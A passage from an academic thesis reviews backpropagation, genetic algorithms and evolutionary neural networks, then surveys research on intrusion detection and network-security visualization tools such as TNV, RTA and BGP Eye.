descend-based optimization algorithm such as backpropagation (BP) [Hinton 89] can 

then be used to adjust connection weights in the ANN iteratively in order to minimize 

the error. 
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Unsupervised learning is solely based on the correlations among input data. No 

information on “correct output” is available for learning. 

Reinforcement learning is a special case of supervised learning where the exact desired 

output is unknown. It is based only on the information of whether or not the actual 

output is correct. 

The essence of a learning algorithm is the learning rule, i.e. a weight-updating rule 

which determines how connection weights are changed. Examples of popular learning 

rules include the delta rule, the Hebbian rule and the competitive learning rule [Hertz 

91]. 

3.3.1.3  Multilayer Feedforward Network Training by 

Backpropagation 

A multilayered network that involves the minimization of an error function in the least 

mean square sense is trained by applying the gradient descent method encountered in 

optimization theory. The backpropagation algorithm (BP) also called the generalized 

delta rule, provides a way to calculate the gradient of the error function efficiently using 

the chain rule of differentiation. The error after initial computation in the forward pass 

is propagated backward from the output units, layer by layer, justifying the name 

“backpropagation”. This algorithm has been rediscovered several times with minor 

variations. Appendix D describes the backpropagation algorithm as presented by 

Rumelhart, Hinton and Williams [Rumelhart 86]. 

3.3.1.4  Remarks on the Backpropagation algorithm 

3.3.1.4.1 Convergence and Local Minima 

The backpropagation algorithm implements a gradient descent search through the space 

of possible network weights, iteratively reducing the error E between the training 

example target values and the network outputs. Because the error surface for multilayer 

networks may contain many different local minima, gradient descent can become 

trapped in any of these. As a result, backpropagation over multilayer networks is only 

guaranteed to converge toward some local minimum in E and not necessarily to the 

global minimum error. 
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Despite the lack of assured convergence to the global minimum error, backpropagation 

is a highly effective function approximation method in practice. In many practical 

applications the problem of local minima has not been found to be as severe as one 

might fear [Mitchell 97]. To comment better this, consider that networks with large 

numbers of weights correspond to error surfaces in very high dimensional spaces (one 

dimension per weight). When gradient descent falls into a local minimum with respect 

to one of these weights, it will not necessarily be in a local minimum with respect to the 

other weights. In fact, the more weights in the network, the more dimensions that might 

provide “escape routes” for gradient descent to fall away from the local minimum with 

respect to this single weight. 

A second perspective on local minima can be gained by considering the manner in 

which network weights evolve as the number of training iterations increases. Notice that 

if network weights are initialized to values near zero, then during early gradient descent 

steps the network will represent a very smooth function that is approximately linear in 

its inputs. This is because the sigmoidal threshold function itself is approximately linear 

when the weights are close to zero. Only after the weights have had time to grow will 

they reach a point where they can represent highly nonlinear network functions. One 

might expect more local minima to exist in the region of the weight space that 

represents these more complex functions. One hopes that by the time the weights reach 

this point they have already moved close enough to the global minimum that even local 

minima in this region are acceptable. 

Despite these comments, gradient descent over the complex error surfaces represented 

by ANN is still poorly understood and no methods are known to predict with certainty 

when local minima will cause difficulties. Common heuristics to attempt to alleviate the 

problem of local minima include: 

• Add a momentum term to the weight-update rule. Momentum can sometimes carry 

the gradient descent procedure through local minima, though in principle it can also 

carry it through narrow global minima into other local minima!. 

• Use the continuous updating method rather that the periodic updating method of 

gradient descent. The continuous approximation to gradient descent effectively 

descends a different error surface for each training example, relying on the average 

of these to approximate the gradient with respect to full training set. These different 
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error surfaces typically will have different local minima, making it less likely that 

the process will get stuck in any one of them 

• Train multiple networks using the same data, but initializing each network with 

different random weights. If the different training efforts lead to different local 

minima, then the network with the best performance over a separate validation data 

set can be selected. 

3.3.1.4.2 Representation power of Feedforward Networks 

What set of functions can be represented by feedforward networks?. Of course the 

answer depends on the width and depth of the networks. Although much is still 

unknown about which function classes can be described by which types of networks, 

three quite general results are known: 

• Boolean functions. Every boolean function can be represented exactly by some 

network with two layers of units, although the number of hidden units required 

grows exponentially in the worst case with the number of network inputs. 

• Continuous functions. Every bounded continuous function can be approximated 

with arbitrary small error (under a finite norm) by a network with two layers of units 

[Cybenko 89], [Hornik et al. 89]. The theorem in this case applies to networks that 

use sigmoid units at the hidden layer and (unthresholded) linear units at the output 

layer. The number of hidden units required depends on the function to be 

approximated. 

• Arbitrary functions. Any function can be approximated to arbitrary accuracy by a 

network with three layers of units [Cybenko 89]. Again, the output layer uses linear 

units, the two hidden layers use sigmoid units and the number of units required at 

each layer is not known in general.  

3.3.1.5  Thresholds  

Given that a network classifier produces values between zero and one which, under the 

right conditions, correspond to a posteriori probabilities, how do we decide which 

category the output data is really from?. The obvious answer is to choose the output 

with the highest value (winner-takes-all). There is, however a method which allows us 

to use a finer degree of control over the process by which network output probabilities 
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are converted into final categorization answers. The technique uses thresholds 

[Swingler 96]. 

Setting thresholds on the output units which force their output (after all neural 

processing) to zero or one provides a method for making such decisions. Thresholds 

may also allow for regions of doubt where no answer is given. 

Two threshold values may be applied to each output unit: 

tu  = upper threshold value   and 

tl  =  lower threshold value.     

Note that  0 < tl < tu < 1. 

The error-reject trade-off 

The doubt region for non-uniformly distributed, overlapping classes is not bounded by a 

solid line. As we travel further towards one of the two classes, the measure of doubt 

diminishes. If we do want to fix a solid line between our doubt region and our 

acceptance region, we must choose some threshold for the output: values below which 

we will reject. Here is the dilemma: where do we put the threshold in order to minimize 

both the classification error and the amount of good data which is discarded?. This is 

the error-reject trade-off. 

Let us use an example in which two classes are coded in a single output unit where an 

output of 1 = class A and 0 = class B. If we use thresholds of tu=tl = 0.5 we achieve a 

perfect split between two classes, zero reject but high error. Moving the thresholds 

together in either direction will assign more doubtful examples as belonging to one class 

rather than the other, but while tu=tl  no data will be discarded. 

By moving the thresholds apart, we are left with a region between the two which 

belongs to no class. This is the reject region. 

Because the error reject curve describes the effect of moving a threshold it can be 

incorporated into a run-time monitoring and tuning system which allows an operator to 

set the level of either the error or the reject and see how one affects the other. 

Combining with measures of confidence, the error reject curve provides a useful and 

simple tool for controlling the run-time operation of a neural network based system. 
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3.3.2  Evolutionary computation 

Evolutionary computation simulates evolution on a computer. The result of such a 

simulation is a series of optimization algorithms, usually based on a simple set of rules. 

Optimization iteratively improves the quality of solutions until an optimal, or at least 

feasible, solution is found. The evolutionary approach to machine learning is based on 

computational models of natural selection and genetics.  

Evolutionary algorithms (EA) refer to a class of population-based stochastic search 

algorithms that are developed from ideas and principles of natural evolution. They 

include evolution strategies (ES) [Schwefel 95], evolutionary programming (EP) [Fogel 

91] and genetic algorithms (GA) [Goldberg 89]. One important feature of all these 

algorithms is their population-based search strategy. Individuals in a population 

compete and exchange information with each other in order to perform certain tasks.  

3.3.2.1  Genetic Algorithms 

In the early 1970’s John Holland, one of the founders of evolutionary computation, 

introduced the concept of genetic algorithms [Holland 75]. His aim was to make 

computers do what nature does. GA’s can be represented by a sequence of procedural 

steps for moving from one population of artificial ‘chromosomes’ to a new population. 

It uses ‘natural’ selection and genetic-inspired techniques known as crossover and 

mutation. Each chromosome consists of a number of ‘genes’ and each gene is 

represented by 0 or 1.  

An evolution function is used to measure the chromosome’s performance, or fitness, for 

the problem to be solved. An evaluation function in GA’s plays the same role the 

environment plays in natural evolution. The GA uses a measure of fitness of individual 

chromosomes to carry out reproduction. As reproduction takes place, the crossover 

operator exchanges the gene value in some randomly chosen location of the 

chromosome. As a result, after a number of successive reproductions, the less fit 

chromosomes become extinct, while those best able to survive gradually come to 

dominate the population. 

The major steps of a genetic algorithm are described below: 
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Step 1:   Represent the problem variable domain as a chromosome of a fixed length, 

choose the size of a chromosome population N, the crossover probability pc and 

the mutation probability pm.  

Step 2: Define a fitness function to measure the performance, or fitness, of the 

individual chromosome in the problem domain. The fitness function 

establishes the basis for selecting chromosomes that will be mated during 

reproduction. 

Step 3: Randomly generate an initial population of chromosomes of size N:  x1, x2,…xN 

Step 4: Calculate the fitness of each individual chromosome:   f(x1),f(x2, … f(xN) 

Step 5: Select a pair of chromosomes for mating from the current population. Parent    

chromosomes are selected with a probability related to their fitness. Highly fit   

chromosomes have a higher probability if being selected for mating than less 

fit   chromosomes. 

Step 6: Create a pair of offspring chromosomes by applying the genetic operators 

crossover and mutation. 

Step 7: Place the created offspring chromosomes in the new population. 

Step 8: Repeat step 5 until the size of the new chromosome population becomes equal 

to the size of the initial population N. 

Step 9: Replace the initial (parent) chromosome population with the new (offspring) 

population. 

Step 10: Go to step 4 and repeat the process until the termination criterion is satisfied, 

usually after a number of generations (typically several hundred). 

3.3.2.2  Selection 

One the most commonly used chromosome selection techniques is the roulette wheel 

selection [Goldberg 89] and [Davis 91]. Roulette-wheel selection performs from the 

population based upon the fitness of the chromosome. The higher-fit the chromosome, 

the more likely it will be chosen (and re-chosen) for propagation to the next generation. 

Put another way, the probability of selection is proportional to the fitness of the 

chromosome. It is like spinning a roulette wheel where each chromosome has a segment 

on the wheel proportional to its fitness. The roulette wheel is spun and when the arrow 

comes to rest on one of the segments, the corresponding chromosome is selected. 
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3.3.2.3  Crossover operator 

The crossover operator takes two chromosomes, separates them at a random point and 

then exchanges the chromosome parts after than point. As a result, two new offspring 

are created. Cutting the chromosome at one location, called single-point crossover is not 

the only possibility. Multi-point crossover can also be used. 

If a pair of chromosomes does not cross over, then chromosome cloning takes place and 

the offspring are creating as exact copies of each parent.  

The crossover does not create new material within the population, but simply intermixes 

the existing population to create new chromosomes. This allows the genetic algorithm 

to search the solution space for new candidate solutions to solve the problem at hand. 

The crossover operator is generally accepted as the most important operator. 

3.3.2.4  Mutation operator 

Mutation, which is rare in nature, represents a change in the gene. It introduces a 

random change into a gene in the chromosome. The mutation operator provides the 

ability to introduce new material into the population. It may lead to a significant 

improvement in fitness, but more often has rather harmful results.  

Its role is to provide a guarantee that the search algorithm is not trapped on a local 

optimum. The sequence of selection and crossover operators may stagnate at any 

homogeneous set of solutions. Under such conditions all chromosomes are identical and 

thus the average fitness of the population cannot be improved. However, the solution 

might appear to become optimal, or rather locally optimal, only because the search 

algorithm is not able to proceed any further. Mutation is equivalent to a random search 

and aids in avoiding loss of genetic diversity. 

Appendix E describes the theoretical foundation of genetic algorithms. 

3.4  Research overview 

3.4.1  Intrusion Detection 

Ongoing research on IDS systems especially on anomaly detection and profile or 

specification-based detection is focused on the following modelling techniques: 
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3.4.1.1  Statistical models 

In Denning’s early paper on Intrusion Detection model [Denning 87] several statistical 

characterizations of events and event counters are described. These, and more refined 

techniques, have been implemented in anomaly detection systems. These techniques 

include: 

Threshold measures: A common example is logging and disabling use accounts after a 

set number of failed login attempts. 

Mean and standard deviation: By comparing event measures to a profile mean and 

standard deviation, a confidence interval for abnormality can be established. 

Multivariate models: Calculating the correlation between multiple event measures 

relative to profile expectations. 

Interesting work on statistical models can be found in [Sekar 02], [Debar 01], [Totel 

04], [Cho 03], [Bouzida 04] and [Ning 04]. 

3.4.1.2  Markov process models 

Markov processes are widely used to model systems in terms of state transitions. Some 

intrusion detection algorithms exploit the Markov process model. These methods do not 

use system call sequences, but instead analyze the state transitions for each system call. 

In state transition analysis, an event is considered anomalous if its probability, given the 

previous state and associated value in the state matrix, is too low [Warrender 99]. 

3.4.1.3  Rule-based algorithms 

One of the most used ruled-based algorithms in the Intrusion Detection field is Repeated 

Incremental Pruning to Produce Error Reduction (RIPPER) [Cohen 95]. This algorithm 

performs classifications by creating a list of rules from a set of labelled training 

examples. 

3.4.1.4  Data mining techniques 

Many recent approaches to intrusion detection systems utilise data mining techniques 

[Stolfo 01]. These approaches build detection models by applying data mining 

techniques to large data sets of an audit trail collected by a system.  
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Recent research on Data Mining and Artificial Intelligence can be found in [Chen 05], 

[Lee 00] and [Gavrilis 04]. 

Finally, it is worth mentioning that there is a tremendous amount of research on 

Intrusion Detection but it is not referred to analytically here as ID is not the object of the 

research of this thesis. 

3.4.2  Web Intrusion Detection 

Web servers and web-based applications are popular attack targets. Web servers are 

usually accessible through firewalls and web-based applications are often developed 

without following a security methodology. To detect web-based attacks, intrusion 

detection systems (IDS) are configured with a number of signatures that support the 

detection of known attacks. For example, at the time of writing the open source IDS 

Snort devotes more that 1200 of its 7000 signatures to detecting web-related attacks. 

Unfortunately, it is hard to keep intrusion detection signature sets updated with respect 

to the large numbers of continuously discovered vulnerabilities. Developing ad hoc 

signatures to detect new web attacks is a time-intensive and error-prone activity that 

requires substantial security expertise. 

To overcome these issues, misuse detection systems should be complemented by 

anomaly detection systems, which support the detection of new attacks. Unfortunately, 

there are no available anomaly detection systems tailored to detect attacks against web 

servers and web-based applications. 

Research works on the detection of web-based attacks involve taxonomy of Web attacks 

suitable for efficient encoding [Alvarez 03], a multi-model approach to the detection of 

web-based attacks [Krugel 05] and Anomaly Detection of Web-based Attacks [Krugel 

03]. 

Recent works on application-level web security cover HTML Form modifications, SQL 

injections, Cross Site Scripting attacks and monitoring [Halford 05], Web Application 

Security Assessment by Fault Injection and Behavior Monitoring [Huang, 03], SecuBat: 

A Web Vulnerability Scanner, [Kals 06] and Abstracting Application-Level Web 

Security [Scott 02]. 

Novel work in web Intrusion Detection cover COTS design diversity, using techniques 

such as N-version programming (COTS) [Totel 05].  
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3.4.3  Evolutionary Artificial Neural Networks 

Evolutionary artificial neural networks (EANN) refer to a special class of artificial 

neural networks (ANN) in which evolution is another fundamental form of adaptation in 

addition to learning [Kent 95]. Evolutionary algorithms (EA) are used to perform 

various tasks, such as connection weight training, architecture design, learning rule 

adaptation, input feature selection, connection weight initialization, rule extraction from 

ANNs etc. One distinct feature of EANNs is their adaptability to a dynamic 

environment. EANNs can be regarded as a general framework for adaptive systems, i.e. 

systems that can change their architectures and learning rules appropriately without 

human intervention. 

3.4.3.1  Evolutionary algorithms 

Evolutionary algorithms (EA) are particularly useful for dealing with large complex 

problems which generate many local optima. They are less likely to be trapped in local 

minima that traditional gradient-based search algorithms. They do not depend on 

gradient information and thus are quite suitable for problems where such information is 

unavailable or very costly to obtain or estimate. They can even deal with problems 

where no explicit and/or exact objective function is available. These features make them 

much more robust than may other search algorithms. 

Evolution has been introduced into ANNs at roughly three different levels. Connection 

weights, architectures, and learning rules [Yao 99]. 

The evolution of connection weights introduces an adaptive and global approach to 

training, especially in the reinforcement learning and recurrent network learning where 

gradient-based training algorithms often experience great difficulties.  

The evolution of architectures enables ANNs to adapt their topologies to different tasks 

without human intervention and thus provides an approach to automatic ANN design as 

both ANN connection weights and structures can be evolved. 

The evolution of learning rules can be regarded as a process of “learning to learn” in 

ANNs where the adaptation of learning rules is achieved through evolution. It can also 

be regarded as an adaptive process of automatic discovery of novel learning rules. 
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3.4.3.2  The evolution of connection weights 

Weight training in ANNs is usually formulated as minimization of an error function, 

such as the Sum of Squared Errors (SSE) between target and actual outputs, by 

iteratively adjusting connection weights. Most training algorithms, such as 

backpropagation (BP), are based on gradient descent. They have been some successful 

applications of BP in various areas but BP has drawbacks due to its use of gradient 

descent [Sutton 86]. It often gets trapped in a local minimum of the error function and 

its incapable of finding a global minimum if the error function is multimodal and/or non 

differentiable.  

One way to overcome gradient descend-based training algorithms’ shortcomings is to 

adopt EANNs, i.e. to formulate the training process as the evolution of connection 

weights in the environment determined by the architecture and the learning task. GAs 

can then be used effectively in the evolution to find a near-optimal set of connection 

weights globally without computing gradient information. Unlike the case in gradient 

descend-based training algorithms, the fitness (error) function does not have to be 

differentiable or even continuous since EAs do not depend on gradient information. 

Because EAs can treat large, complex, non-differentiable and multimodal spaces, which 

are the typical case in real world, considerable research and application has been 

conducted on the evolution of connections weights [Whitley 90], [Montana & Davis 

89], [Osmera 95] and [Sexton 98]. 

The evolutionary approach to weight training in ANNs consists of two major phases. 

The first phase is to decide the representation of connection weights, i.e. whether in the 

form of binary strings or not. The second one is the evolutionary process simulated by 

an EA, in which search operators such as crossover and mutation have to be decided in 

conjunction with the representation scheme. Different representations and search 

operators can lead to quite different training performance. The evolution stops when the 

fitness is greater than a predefined value (i.e, the training error is smaller than a certain 

value) or the population has converged. 

3.4.3.3  Hybrid training 

Most EAs are rather inefficient in fine-tuned local search although they are good at 

global search. This is especially true for genetic algorithms (GA). The efficiency of 
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evolutionary training can be improved significantly by incorporating a local search 

procedure into the evolution, i.e. combining EAs global search ability with local 

search’s ability to fine tune. EAs can be used to locate a good region in the space and 

then a local search procedure is used to find a near-optimal solution in this region. The 

local search algorithm could be backpropagation (BP) or other random search 

algorithm.  

The first successful application of a genetic algorithm to a relatively large neural 

network problem was reported in [Montana and Davis 89]. A interesting survey on 

combinations of Genetic Algorithms and Neural Networks is described in [Schaffer 92]. 

Hybrid training has been used successfully in many applications areas [Topchy 97], 

[Kinnebrock 94], [Yan 97], [Yang 96].  

Lee [Lee 96] and others [Omatu 97], [Erkman 97] used GA’s to search for a near-

optimal set of initial connection weights and then used BP to perform local research 

from these initial weights. Their results showed that the hybrid GA/BP approach was 

more efficient than either the GA or BP algorithm used alone. If we consider that BP 

often has to run several times in practice in order to find good connection weights due 

to its sensibility to initial conditions, the hybrid training algorithm will be quite 

competitive. 

3.4.4  Visualization in IDS 

Intrusion Detection (ID) analysts are charged with ensuring the safety and integrity of 

today’s high-speed computer networks. Their work includes the complex task of 

searching for indications of attacks and misuse in vast amounts of network data. 

Although there are several information visualisation tools to support ID, few are 

grounded in a thorough understanding of the work ID analysts perform or include any 

empirical evaluation.  

Visualization is been used in networks in various areas such as the VISUAL system 

[Ball 04], which is a home-centric Visualization tool of Network Traffic for security 

administration. Visualization is been also used for a passive visual fingerprinting of 

network attack tools such as nmap, superscan, nessus, nikto and others [Conti 04]. 

We present below recent works on Visualization in IDS, mainly from the VizSec 

conferences of the last three years. 
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1) A user-centered visualisation tool TNV (Time-based Network traffic Visualization) is 

presented in [Goodall 05]. The tool facilitates the analysis of computer network data for 

ID tasks by simultaneously displaying both high-level and detailed views. TNV displays 

network traffic in discrete time intervals, divided by host IP address (machine), so that 

each individual host has a series of rectangular boxes for each of the time intervals. 

Figure 3-2 shows TNV displaying forty thousand packets over one hour using time 

intervals of one minute. The display is divided vertically into time periods, with each 

resulting column representing a fixed time interval. Each column is subdivided into 

rows of hosts, forming a grid of time and host. The colour of a host is determined by the 

number of packets associated with that host in the given time interval. This gives the 

user an immediate understanding of the amount of network traffic over time on a per 

host basis. Thus, the user can quickly see anomalies by comparing the colours. Hosts’ 

labels that are blue are on the user’s network, allowing users to easily distinguish 

between hosts that are “owned” by their network and external hosts. Figure 3-2 reveals 

several interesting patterns. For example, hosts that have near constant traffic are likely 

to be involved in an interactive login session (such as Telnet) that generates a large 

number of packets consistent over time, while those that have only sporadic traffic are 

likely to be client-server requests (such as web traffic or file transfers) that can generate 

a large number of packets in a very short period of time. Machines that are local to the 

analyst’s network, clustered near the top of the display and labelled in blue, are the 

internal hosts that the analyst is charged with protecting. While it is impossible to tell 

without implicitly knowing which hosts are clients and which are servers from the 

display, it is likely that those with high-levels of steady traffic represent servers. The 

data shown in Figure 3-2 contains a prolonged attack, noticeable in TNV because of the 

lack of traffic before and after the areas labelled A (the internal host under attack) and B 

(the external attacker). The length of time of the attack is about thirty minutes, which 

could represent a login session, but there is not a large amount of data (gray in this 

display means less traffic). By hovering the mouse over one of the boxes represented by 

the external, attacking host (B), the analyst can see that port 161 is included in the list of 

ports which the host is communicating with. This is notable because this port is used for 

Simple Network Management Protocol (SNMP), which is used for network monitoring, 

and there is no reason for external hosts to be querying an internal host.  
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Figure 3-2  TNV visualization tool 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-3  TNV: Links between hosts 
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By examining the details below the visualization, this is confirmed and the analyst can 

see the data that the attacker is sending to their server. This main visualization shows an 

overview of the state of the network that allows users to quickly view trends, patterns, 

and anomalies over time. TNV also facilitates analyzing the communications, or links, 

between hosts. To view the connections between hosts within a single time period, a 

column is expanded, or “unzipped,” to create two identical columns from the original 

with a space to show links between them, as seen in Figure 3-3 (a subsection of Figure 

3-2). The type of traffic is encoded in the colour of the link, here UDP (used by SNMP) 

traffic is red. This display promotes link analysis within the context of the state of the 

network. However, since the links are aggregated, TNV includes a mechanism for 

viewing the details of the individual packets associated with a host in a given time slice. 

TNV allows the user to examine network data from an aggregated overview, 

progressively down to the details of individual packets. 

2) A new approach for abstracting network information, namely spectral representation 

is presented in [Papadopoulos 04]. The author with the help of the CyberSeer tool uses 

spectral techniques to extract complex events buried inside voluminous network traces 

and logs. Then, he creates a desktop interactive immersive auto-stereoscopic 3D 

environment that is seamlessly integrated with multi-channel spatially rendered audio to 

render such events in a far human-friendly fashion.  

Much of network traffic exhibits periodic behaviour. Such behaviour ranges from 

periodic transmission of packets on a link, to protocol and application behaviour. One 

can parsimoniously characterize such periodicities in the frequency domain and build 

models based on such periodic behaviour using spectral analysis techniques.  Spectral 

techniques and tools are mature and have long been used in statistical analysis of 

periodic phenomena.  Spectral analysis applied to network traffic may reveal several 

periodicities.  For example, a protocol such as TCP exhibits periodicities due to its 

windowing behaviour.  Protocols such as BGP exchange regular messages every 30secs. 

A highly utilized link transmits packets periodically, governed by its speed and packet 

number. Finally, many applications are inherently periodic, such as web requests by 

users, or continuous media applications such as audio and video. Spectral analysis may 

detect problems that often manifest themselves as abnormalities/disruptions to these 

periodic processes. 
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  Figure 3-4  CyberSeer: 3D oblique display with time history of packet flows 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

  Figure 3-5  CyberSeer: An auto-stereoscopic 3D video and audio environment 
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Very recently, new types of single and multiple viewer high quality auto-stereoscopic 

(AS) display systems have become available.  These displays do not require the use of 

head-tracking, external glasses or goggles, and make the image and video viewing 

experience more natural and less fatiguing.  This glasses-free feature has a tremendous 

potential advantage in this project of improving the immersive experience.  These 

displays use liquid crystal (LC) or plasma flat-panel technology and are currently 

available in sizes exceeding 50”. 

Figures 3-4 and 3-5 show various examples of 3D auto-stereoscopic visualization in 

which different information is superimposed on an (x, y) mapping of network topology.  

Figure 3-4 shows the time history of packet flows in and out of selected nodes as red 

and blue time functions on the z-axis.  Automatic alerts activate audio signals and/or 

flow displays, or they are selected by user interaction.  The user can vary the time scale 

of the alerts or displayed data, link it to other database information and manipulate the 

data in the spatial audio and visual domain. Our vision of an immersive auto-

stereoscopic 3D display that is completely integrated with multi-channel immersive 

sound is shown in Figure 3-5.  A set of loudspeakers provides the audio that is in spatial 

register with alerts and information on the display.  The audio alerts map time or 

spectral information over the full spatial extent of the display or over broader regions 

extending to full 360-degree coverage as depicted.  The user interacts with the displayed 

information by means of a 3D cursor system that uses a small light pen that is tracked 

by small video cameras. The parameters or features that are selected and mapped in the 

3D audio-visual space are extremely general.  Information from detection and analysis 

tools described here can be combined with other data sources and mapped singly or in 

combination with them. The overall objective is to augment the cognition process, 

enhance and expand the immersive analysis tools for users. 

3) Radial Traffic Analyzer (RTA) is a visual tool for interactive packet-level analysis of 

data flows in a computer network [Keim 06]. The author focuses on visualizing packet 

level communication properties as the packet level defines a simple data structure in 

terms of source and targets of hosts and ports. From its port information, one can 

usually conclude the type of service addressed by the packet, e.g., port 80 usually 

indicates WWW traffic, port 22 indicates Secure Shell (SSH) Traffic and so on.  
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He therefore feels that in combination with the compact data structure given at the 

network layer in the TCP/IP protocol suit this level is a viable option to consider for 

visual network communication monitoring. 

The visualization metaphor of the Radial Traffic Analyzer (RTA) consists of concentric 

rings subdivided into sectors. The author assumes that the radial layout better supports 

the task of finding suspicious patterns, because the user is not misguided to place more 

importance on an item due to its position on the left or right. When using a linear layout, 

the natural reading order from left to right might cause such false impressions. As users 

might tend to minimize eye movements, the cost of sampling will be reduced if items 

are spatially close. He therefore chooses a radial layout for RTA, places the most 

important attribute, as chosen by the user, in the inner circle, and arranges the values in 

ascending order to allow better comparisons of close and distant items. The subdivision 

of this ring is conducted according to the proportions of the measurement (i.e., number 

of packets or connections) using an aggregation function over all tuples with identical 

values for this attribute. Each further ring displays another attribute and uses the 

attributes of the rings further inside for grouping and sorting, prioritized by the order of 

the rings from inside to outside. In the default configuration, he uses four of these rings. 

The visualization is to be read from inside to outside, starting from the innermost ring 

for the source IP addresses, the second ring for the destination IP addresses and the 

remaining two rings for the source and the destination ports respectively.  

Figure 3-6 shows the distribution of network traffic of a local computer. An overview is 

maintained by grouping the packets from inside to outside. The inner two circles 

represent the source and destination IP addresses, the outer two circles represent the 

source and destination ports. Traffic originating from the local computer can be 

recognized by the lavender coloured circle segment in the inner ring. Traffic to this host 

can be recognized by the lavender coloured segments on the second ring. Normally, 

ports reveal the application type of the respective traffic. This display is dominated by 

web traffic (port 80 - coloured green), remote desktop and login applications (port 3389 

- red, port 22 - bright red) and E-mail traffic (blue). 
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Figure 3-6  RTA: Network traffic distribution of a local computer 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

                      Figure 3-7  RTA: Security alerts display from the IDS Snort 
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The RTA display is flexible so as to display many different datasets and can be adjusted 

to the data at hand on the fly. An example is to configure the inner two rings with the 

source and target IP addresses and the outer ring with security alerts generated by an 

intrusion detection (IDS) system. Figure 3-7 displays security alerts from the intrusion 

detection system Snort. After discarding ICMP Router Advertisements, ping and echo 

alerts, one can clearly see that host 134.34.53.28 (green) was attacked by 84.154.163.59 

using various methods (outer ring). 

Alternatively, one can extend the IP address dimension through the use of associated 

higher-level network attributes (e.g., IP network block, autonomous system, etc.) to 

investigate whether e.g., a denial of service (DOS) attack originates from a certain 

network block, or to assess the danger of a virus spread from neighbouring autonomous 

systems. 

4) BGP Eye is a Visualization tool for real-time detection and analysis of BGP 

anomalies [Teoh 06]. The existing visualization tools focus only on raw information, 

(i.e. BGP updates) and do not give any deep insight into the problem. BGP Eye 

provides a real-time status of BGP activity with easy-to-read layouts. The tool has been 

designed so as to meet criteria like: i) scalability, i.e. the ability to process and display a 

large set of data at very fine time-scales for large-size network deployment, ii) 

efficiency, i.e. variety of different graphical layouts that provide a complete view of the 

BGP routing behaviour, iii) readability, i.e. clear and easy-to-read layouts that enable 

Operators to promptly detect, classify, analyze the under-going anomaly and report rich-

enough feedback to Operators in order for them to take the appropriate counter actions. 

BGP Eye was used to identify the role played by AS568, corresponding to the 

Department of Defense (DoD), during the spreading of the SQL Slammer worm (the 

Slammer worm was released on January 25th, 2003).  The author analyzed one week’s 

worth of BGP data collected from January 22nd  to January 29th 2003. He found three 

major results: (i) AS568, after being infected by the Slammer worm, played an active 

role during the contamination, spreading the epidemic widely and deeply through the 

entire Internet; (ii) AS568 spread the infection extensively using peering links with four 

out of five of its peers AS1913, AS209, AS2914 and AS3908 during the first 10 

minutes; (iii) AS568 reached more than 800 ASes in the first 60minutes, 100 of which 

were successfully infected. 
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     Figure 3-8  BGP Eye: Snapshot of BGP activity during the Slammer worm (before) 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Figure 3-9  BGP Eye: BGP activity during the Slammer worm (60 mins after) 
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BGP Eye analyzed the behaviour of the top 4 edge customer ASes that generated the 

largest number of BGP events during the one week observation period: AS568, 

AS2048, AS14419 and AS18296. During this analysis, BGP Eye identified AS568 as 

the one contributing the most to the spread of the infection across the Internet. 

TheAS568 suddenly generated up to15,000 BGP events on January 25th , 2006 while 

never generating more than 2,500 BGP events under normal conditions. 

BGP Eye analyzed the propagation of the BGP anomalies that originated from AS568 to 

the Internet with the final goal of quantifying the growing rate of the infection overtime 

and identify when and which ASes were successfully infected by the worm. Figure 3-8 

provides a topological map of the customer AS568 before the anomaly event, shown in 

the map as the root of the tree and its activity with other ASes. BGP Eye monitors in 

real-time the total number of BGP events observed on each AS-AS link and profiles the 

evolution of this metric overtime as explained before. The tool provides four different 

colours to represent four different hidden BGP instability states: the colour green 

defines a very stable behaviour, e.g. instantaneous deviation less than 5%; the colour 

blue defines a stable behaviour, e.g. instantaneous deviation less than 10%; the colour 

yellow defines an unstable behaviour, e.g. instantaneous deviation less than 15%; the 

colour red defines a very unstable behaviour, e.g instantaneous deviation greater than 

15%. Figures 3-8 and 3-9 show two snapshots of the BGP activity associated to AS568, 

respectively before the worm and 60 minutes after the Slammer worm outbreak. As can 

be seen, it is crystal clear how the network behaviour suddenly changed and how severe 

the damage caused by the worm was. AS568 was infected and used its peers as vehicles 

to spread the anomaly faster, e.g. AS1913, AS209, AS2914 and AS3908. Its peers got 

infected in the first 10 minutes and spread further along the infection to their peers. 

After a rigorous analysis around 100 ASes and 350 AS-AS links infected were counted 

in the first 60 minutes due to the activity played by AS568 in this process. 

5) One of the greatest obstacles limiting the effectiveness of today’s IDSs is the 

enormous volume of alarms that they generate. Large-scale IDS implementations can 

generate millions of alarms per day, far beyond the ability of a security analyst to 

analyze and interpret. An overwhelmingly large number of these alarms are false 

positives, requiring the security analyst to hunt for the relatively infrequent true 

positives in a mountain of false alarms. The high false alarm rates of IDS alarms have 

been identified as a major drain on human labour resources that brings the cost-
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effectiveness of IDS software into question. The alarm overload problem becomes 

particularly severe when IDSs are used to monitor an organization’s internal networks 

for insider misuse. In the case of host-based IDSs on internal networks, it was found 

that system administrators performing authorized, automated maintenance across large 

numbers of internal hosts cause the large majority of alarms, which are false. As a 

result, the security analyst must either manually investigate all of the alarms or filter out 

all alarms associated with system administrators. Both of these options carry enormous 

risks. The sheer volume of host-based alarms makes manual investigation impractical 

and risks missing a true positive alarm. On the other hand, filtering out alarms 

associated with system administrators essentially blinds the analyst to system 

administrator misuse. The author in [Colombe 04] explores the use of inference and 

visualization techniques to effectively filter out the host-based false positives caused by 

authorized, automated system administrator activity, which may include, for example, 

the installation of new software applications or the changing of configuration settings 

across an organization’s computer base.  

The author converted the comma-delimited text descriptors of the RealSecure alarm 

format into a binary representation indicating the presence or absence of each comma-

delimited text descriptor, for example: (1, 0, 0, 1, 1, 0, 0, 1 ... 0). Each element in an 

alarm vector corresponds to a specific descriptor token.  A ‘1’ indicates the presence of 

a token in an alarm, and each alarm vector is as long as the lexicon of tokens that have 

been seen so far in the data set. This representation, called a multivariate Bernoulli 

event representation, encodes all of the information in an alarm description, but renders 

all of the descriptions numeric and generates vectors of equal length from alarm to 

alarm, which facilitates machine learning approaches and alarm visualization. An 

alternative representation of the alarm stream was generated in which each unique alarm 

description was given a symbol, represented as a single binary entry in a symbol 

dictionary. If quantities are highly variable, the diversity in the data set will also make 

the formation of a lexicon and a symbol dictionary prohibitively expensive due to an 

